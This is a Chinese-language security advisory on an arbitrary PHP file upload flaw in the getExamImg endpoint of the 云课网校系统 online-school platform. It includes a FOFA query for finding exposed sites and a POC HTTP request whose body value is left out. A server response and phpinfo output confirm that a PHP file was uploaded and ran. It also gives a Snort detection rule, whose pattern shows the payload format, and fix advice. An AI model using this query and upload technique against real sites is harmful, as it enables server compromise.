

云课网校系统 getExamImg 存在任意文件上传漏洞

云课网校系统 getExamImg 存在任意文件上传漏洞，攻击者可文件上传获取系统权限。

影响版本

云课网校系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="/static/libs/common/jquery.stickyNavbar.min.js"

POC/EXP：

```
POST /index/Exam/getExamImg HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: close

src_data=
```

Request

< > 数据包扫描 美化 HEX 添加 构造请求

42 bytes

美化

1 POST /index/Exam/getExamImg HTTP/1.1

2 Host: [redacted]

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36

4 Accept-Encoding: gzip, deflate

5 Content-Type: application/x-www-form-urlencoded

6 Accept: */*

7 Connection: close

8

9 src_data=

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Sun, 22 Jun 2025 07:23:43 GMT

4 Content-Type: text/html; charset=utf-8

5 Connection: close

6 Vary: Accept-Encoding

7 Access-Control-Allow-Origin: *

8 Access-Control-Allow-Methods: POST

9 Access-Control-Allow-Headers: x-requested-with, content-type

10 Set-Cookie: PHPSESSID=ag8bc6f0v8c52jju5ehs68jpm; expires=Sun, 22-Jun-2025 07:23:43 GMT; path=/; HttpOnly

11 Expires: Thu, 19 Nov 1981 08:52:00 GMT

12 Cache-Control: no-store, no-cache, must-revalidate

13 Pragma: no-cache

14 Content-Length: 67

15

16 {"code": 0, "src": "/upload/examanswer/28250622/1750577023.php"}

17

115%

不安全

/upload/examanswer/20250622/1750577023.php

PHP Version 7.2.33	
System	Linux VM-8-6-debian 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64
Build Date	Mar 14 2024 18:11:53
Configure Command	'./configure' '--prefix=/www/server/php/72' '--with-config-file-path=/www/server/php/72/etc' '--enable-fpm' '--with-fpm-user=www' '--with-fpm-group=www' '--enable-mysqlnd' '--with-mysqli=mysqlnd' '--with-pdo-mysql=mysqlnd' '--with-iconv-dir' '--with-freetype-dir=/usr/local/freetype' '--with-jpeg-dir' '--with-png-dir' '--with-zlib' '--with-libxml-dir=/usr' '--enable-xml' '--disable-rpath' '--enable-bcmath' '--enable-shmop' '--enable-sysvsem' '--enable-inline-optimization' '--with-curl=/usr/local/curl' '--enable-mbregex' '--enable-mbstring' '--enable-intl' '--enable-ftp' '--with-gd' '--enable-gd-native-ttf' '--with-openssl=/usr/local/openssl' '--with-mhash' '--enable-pcntl' '--enable-sockets' '--with-xmldrpc' '--enable-zip' '--enable-soap' '--with-gettext' '--disable-fileinfo' '--enable-opcache' '--with-webp-dir=/usr' '--with-mcrypt'
Server API	FPM/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/www/server/php/72/etc
Loaded Configuration File	/www/server/php/72/etc/php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20170718
PHP Extension	20170718
Zend Extension	320170718
Zend Extension Build	API320170718,NTS
PHP Extension Build	API20170718,NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	enabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	disabled
Registered PHP Streams	https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, sslv3, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filters	zlib*, convert.iconv*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert*, consumed, dechunk

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"YunkeEdu - Arbitrary File Upload in getExamImg";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/index/Exam/getExamImg"; http_uri;
  content:"Content-Type: application/x-www-form-urlencoded"; http_header;
  content:"src_data="; http_client_body;
  pcre:"/src_data=data:\s*image\/(php|asp|jsp|aspx)[^;]*;base64,[a-z0-9+\/]+=
{0,2}/i";
  metadata:service http;
  metadata:affected_product "云课网校系统";
  metadata:attack_type "Malicious File Upload";
  metadata:severity "critical";
  reference:url,www.example.com/yunkeedu-fileupload;
  classtype:web-application-attack;
  sid:1000169;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。